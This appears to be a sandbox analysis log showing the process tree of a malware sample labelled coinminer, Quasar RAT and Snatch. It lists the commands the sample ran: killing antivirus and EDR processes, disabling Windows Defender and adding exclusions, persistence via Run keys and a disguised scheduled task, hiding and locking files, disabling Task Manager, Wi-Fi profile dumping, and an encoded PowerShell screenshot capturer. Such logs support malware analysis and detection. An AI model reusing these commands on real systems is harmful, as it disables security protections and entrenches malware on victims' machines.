  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc ONLOGON /rl HIGHEST /tn MicrosoftEdgeUpdateTaskMachineCore /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe\"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2684
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      PID:2608
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
      4⤵
      Modifies registry key
      PID:1276
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      4⤵
      PID:2452
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avastui.exe
      4⤵
      Kills process with taskkill
      PID:5584
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe"
      4⤵
      Views/modifies file attributes
      PID:1040
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
      4⤵
      Modifies registry key
      PID:3344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -SubmitSamplesConsent 2"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2544
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe
      4⤵
      System Time Discovery
      PID:4208
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM AvastSvc.exe
      4⤵
      Kills process with taskkill
      PID:3184
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4104
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
      4⤵
      System Time Discovery
      Modifies registry key
      PID:1652
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avscan.exe
      4⤵
      Kills process with taskkill
      PID:4928
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
      4⤵
      System Time Discovery
      Modifies registry key
      PID:2520
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
      4⤵
      Views/modifies file attributes
      PID:4136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      PID:5400
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cdmyvclf\cdmyvclf.cmdline"
        5⤵
        
        PID:4592
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES807C.tmp" "c:\Users\Admin\AppData\Local\Temp\cdmyvclf\CSCD632ECC681B24399B5D3CF90CB92F71E.TMP"
        6⤵
        
        PID:1292
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avgui.exe
      4⤵
      Kills process with taskkill
      PID:1096
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4712
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:1192
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:716
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM AVGSvc.exe
      4⤵
      Kills process with taskkill
      PID:4920
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5928
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:3040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -SevereThreatDefaultAction 6 -ModerateThreatDefaultAction 6 -LowThreatDefaultAction 6 -HighThreatDefaultAction 6"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2848
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
      4⤵
      Views/modifies file attributes
      PID:5556
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM bdagent.exe
      4⤵
      PID:4736
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      PID:5248
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM vsserv.exe
      4⤵
      PID:4668
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      PID:6044
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM ekrn.exe
      4⤵
      PID:3544
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM egui.exe
      4⤵
      PID:3112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2904
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mbam.exe
      4⤵
      Kills process with taskkill
      PID:2964
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5344
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MBAMService.exe
      4⤵
      PID:5432
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mbamtray.exe
      4⤵
      Kills process with taskkill
      PID:2676
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:2552
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:3572
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mcshield.exe
      4⤵
      Kills process with taskkill
      PID:6028
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:840
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mcuicnt.exe
      4⤵
      Kills process with taskkill
      PID:1240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1200
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM mccspsvc.exe
      4⤵
      Kills process with taskkill
      PID:3024
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:996
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SentinelOne.exe
      4⤵
      PID:3904
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SentinelAgent.exe
      4⤵
      Kills process with taskkill
      PID:1124
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM CylanceUI.exe
      4⤵
      PID:4672
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM CylanceSvc.exe
      4⤵
      PID:1452
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cb.exe
      4⤵
      PID:4372
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cbsensor.exe
      4⤵
      Kills process with taskkill
      PID:5656
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SEDService.exe
      4⤵
      Kills process with taskkill
      PID:1068
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:916
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM savservice.exe
      4⤵
      Kills process with taskkill
      PID:1916
- - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    3⤵
    PID:2808
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Views/modifies file attributes
      PID:2468
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
      4⤵
      Views/modifies file attributes
      PID:1384
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
      4⤵
      Views/modifies file attributes
      PID:6028
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MsMpEng.exe
      4⤵
      PID:3304
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      4⤵
      PID:3068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3056
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d 506 /f
      4⤵
      PID:5680
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v Flags /t REG_SZ /d 122 /f
      4⤵
      PID:3404
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM MpCmdRun.exe
      4⤵
      Kills process with taskkill
      PID:1124
  - - C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 2808 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
      4⤵
      PID:1996
    - - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        5⤵
        
        PID:1428
      - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Views/modifies file attributes
        
        PID:4380
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        6⤵
        Views/modifies file attributes
        
        PID:1188
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
        6⤵
        Views/modifies file attributes
        
        PID:5540
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d 506 /f
        6⤵
        
        PID:3396
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe
        6⤵
        Views/modifies file attributes
        
        PID:3596
      - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Views/modifies file attributes
        
        PID:3432
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM MsMpEng.exe
        6⤵
        Kills process with taskkill
        
        PID:3352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5488
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic os get Caption
        6⤵
        
        PID:1600
      - C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 1428 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        6⤵
        
        PID:1976
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
        7⤵
        
        PID:4628
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v Flags /t REG_SZ /d 122 /f
        6⤵
        
        PID:3252
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc ONLOGON /rl HIGHEST /tn MicrosoftEdgeUpdateTaskMachineCore /tr \"C:\Users\Admin\AppData\Local\Temp\SecurityHealthSystray.exe\"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3404
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM MpCmdRun.exe
        6⤵
        
        PID:1748
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d 58 /f
        6⤵
        
        PID:3348
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftWMIHost /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 0 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe" /f
        6⤵
        Modifies registry key
        
        PID:3912
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
        6⤵
        
        PID:2096
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /deny *S-1-1-0:(DE)(DC)(WD) /T /C
        6⤵
        Modifies file permissions
        
        PID:1640
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic cpu get Name
        6⤵
        
        PID:4628
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM NisSrv.exe
        6⤵
        Kills process with taskkill
        
        PID:2832
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        Modifies registry key
        
        PID:252
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
        6⤵
        Modifies registry key
        
        PID:2196
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /deny *S-1-5-18:(DE)(DC)(WD) /T /C
        6⤵
        Modifies file permissions
        
        PID:4408
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SecurityHealthService.exe
        6⤵
        
        PID:4388
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:3284
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe"
        6⤵
        
        PID:6104
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM avastui.exe
        6⤵
        
        PID:5872
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
        6⤵
        Modifies registry key
        
        PID:4576
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic csproduct get UUID
        6⤵
        
        PID:5524
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
        6⤵
        
        PID:4644
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM AvastSvc.exe
        6⤵
        Kills process with taskkill
        
        PID:1988
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe
        6⤵
        System Time Discovery
        Views/modifies file attributes
        
        PID:1600
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM avscan.exe
        6⤵
        Kills process with taskkill
        
        PID:5680
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
        6⤵
        System Time Discovery
        Modifies registry key
        
        PID:5976
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-1-0:(DE)(DC)(WD) /T /C
        6⤵
        Modifies file permissions
        
        PID:2024
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5784
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM avgui.exe
        6⤵
        Kills process with taskkill
        
        PID:6052
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-5-18:(DE)(DC)(WD) /T /C
        6⤵
        Modifies file permissions
        
        PID:2852
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
        6⤵
        System Time Discovery
        Modifies registry key
        
        PID:560
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
